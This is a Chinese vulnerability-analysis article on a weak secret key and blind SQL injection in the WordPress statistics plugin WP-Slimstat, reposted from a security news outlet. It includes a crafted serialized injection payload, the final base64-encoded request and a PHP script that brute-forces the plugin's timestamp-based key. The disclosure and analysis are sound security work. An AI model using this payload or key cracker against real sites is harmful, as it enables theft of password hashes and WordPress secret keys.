Web安全企业Sucuri周二在博客(Security Advisory – WP-Slimstat 3.9.5 and lower)中表示,他们在最新版本的Wordpress分析插件WP-Slimstat中发现了一个sql注入漏洞,利用该漏洞,攻击者可以进行sql盲注,从而获取数据库的敏感信息。互联网上超过100万网站受到影响。

关于WP-Slimstat

WP SlimStat 是一个功能非常强大的WordPress实时统计分析插件,通过该插件可以查看网站的访问情况。WordPress上的记录显示,这款插件下载次数已超过130万次。

t010a865e7e4d8b1d66

漏洞描述

所有3.9.6以前版本的WP-Slimstat都包含一个简单可猜测的密钥,这个密钥被WP-Slimstat用来标记网站的访问者。只要该密钥被攻破,攻击者可以通过SQL注入(盲注)攻击目标网站以获取敏感的数据库信息,包括用户名、密码(hash)以及至关重要的wordpress安全密钥。

WP-Slimstat密钥仅仅是该插件安装时的时间戳(MD5 hash版本号),而诸如Internet Archive这种“网站时光机”可以帮助攻击者更轻松地猜出插件安装的时间。为此攻击者需要付出3千万次的猜解测试,而对于流行的CPU来说,这种量级的暴力破解只需要10分钟。

安全专家建议所有使用这款流行插件的站长尽快进行升级。

漏洞分析

小编经过分析发现这个漏洞并不是一个简单的sql注入,还是比较有意思的,下面带大家一起来看下。

首先当你开启了WP-Slimstat插件之后,每当你访问一个网页,系统都会通过ajax向/wp-admin/admin-ajax.php发送post请求,记录你当前访问网页的情况。

发送的数据如下图所示:

t019ce66db8aac43851

 

其中data是一段base64编码过的数据,经过解码之后是

ci=YToyOntzOjEyOiJjb250ZW50X3R5cGUiO3M6NDoiaG9tZSI7czo4OiJjYXRlZ29yeSI7czowOiIiO30=.ae93e0c4e2f76695c4dd540456ab7945
&ref=&res=aHR0cDovLzEwLjE4LjE4MC4zNy93b3JkcHJlc3Mv
&sw=1920&sh=1080&cd=24&aa=1&sl=2004&pp=7267&pl=flash|

 

我们直接到插件的文件中去看他是如何处理这段数据的。

在wp-content\plugins\wp-slimstatwp-slimstat.php文件的第86行

code

 

我们可以看到,data经过base64解码之后传递给了$data_string。随后通过parse_str方法将其赋给了$data_js。

随后下面的部分他做了一个很有意思的事情

t01379f13aec3682fbc

 

在102行我们可以看到,他把$data_js[ci]分成了两部分,“.”后面的赋给了$nonce,前面的覆盖了原来的$data_js[ci]。

在105行,他将$data_js[ci]的后面添加了一个秘钥,md5加密后和$nonce做对比,如果不相等将直接退出程序。也就是说,他对数据包是否被篡改进行了校验,如果被篡改将直接退出程序。

我们接着往下看,如果数据没有被篡改,在第374行:

t019052b097c1aba188

 

他将$data_js[ci] base64解码再反序列化之后赋给了$content_info

之后在417行

t0122ab8e46ac7adff9

 

$content_info进入了maybe_insert_row函数,跟进该函数,1036行

t01c494e64fb40c2f28

 

可以看到数据被带入到了查询中,在第1044行我们看到,程序还是严谨的使用了wordpress自带的数据库查询函数对获取的数据进行了预处理,但是百密终有一疏,$a_key这个变量没有在预处理的行列中,而这个变量也是我们可控的,这也是这个漏洞的罪魁祸首。

那么问题来了:我们该如何绕过校验呢,让程序认为数据没有被篡改过呢?

从上面我们知道只有$nonce 和 md5(self::$data_js['ci'].self::$options['secret'])相等时才可以继续执行程序,现在我们可以控制的是$nonce和$data_js['ci'],只要再知道$options['secret']即可。我们看下$options['secret']是什么

t01f2c529009e7d2236

 

在1095行我们可以看到他是简单的系统当前时间被md5加密过后的值,time()函数返回的是Unix时间戳,是一个10位的纯数字,而且根据推测网站的建立时间,我们可以大大缩小猜测的范围,根据测试,大约3000万次即可猜出系统的secret秘钥,一旦我们猜出了秘钥,我们便可以篡改数据包,进行注入。

小编写了个程序,几秒钟就猜出了秘钥。

t01717bb968d7adde01

 

拥有了秘钥之后我们开始注入,由于注入出在数组的键值上,所以我们在category后面添加一个单引号。构造的payload如下:

a:2:{s:12:"content_type";s:4:"home";s:9:"category'";s:0:"";}

 

把他base64编码然后加上秘钥md5加密,获得了13688da6b1bad69d677948ebed0fa19a的加密值,把他加入请求,对请求base64再次编码后得到了我们最终的payload

Y2k9WVRveU9udHpPakV5T2lKamIyNTBaVzUwWDNSNWNHVWlPM002TkRvaWFHOXRaU0k3Y3pvNU9pSmpZWFJsWjI5eWVTY2lPM002TURvaUlqdDkuMTM2ODhkYTZiMWJhZDY5ZDY3Nzk0OGViZWQwZmExOWEmcmVmPSZyZXM9YUhSMGNEb3ZMekV3TGpFNExqRTRNQzR6Tnk5M2IzSmtjSEpsYzNNdiZzdz0xOTIwJnNoPTEwODAmY2Q9MjQmYWE9MSZzbD0yMDA0JnBwPTcyNjcmcGw9Zmxhc2h8

 

用burp发包

t01c654cb193ae6f6b9

 

从Mysql日志中可以看到单引号被带入了查询

 

sql

由于没有输出点,无法union,只能盲注了。

附猜解秘钥程序

<?php
$ci = "YToyOntzOjEyOiJjb250ZW50X3R5cGUiO3M6NDoiaG9tZSI7czo4OiJjYXRlZ29yeSI7czowOiIiO30=";
$nonce="ae93e0c4e2f76695c4dd540456ab7945";
for($secret=time();$secret>1136044800;$secret--){
         if($nonce==md5($ci.md5($secret))){
                   echo "find the secret is ".md5($secret);
                   break;
                   }
         }
?>

 

【原文:360安全播报 流行Wordpress分析插件WP-Slimstat弱密钥及sql注入漏洞分析 SP小编整理发布】

源链接

Hacking more

...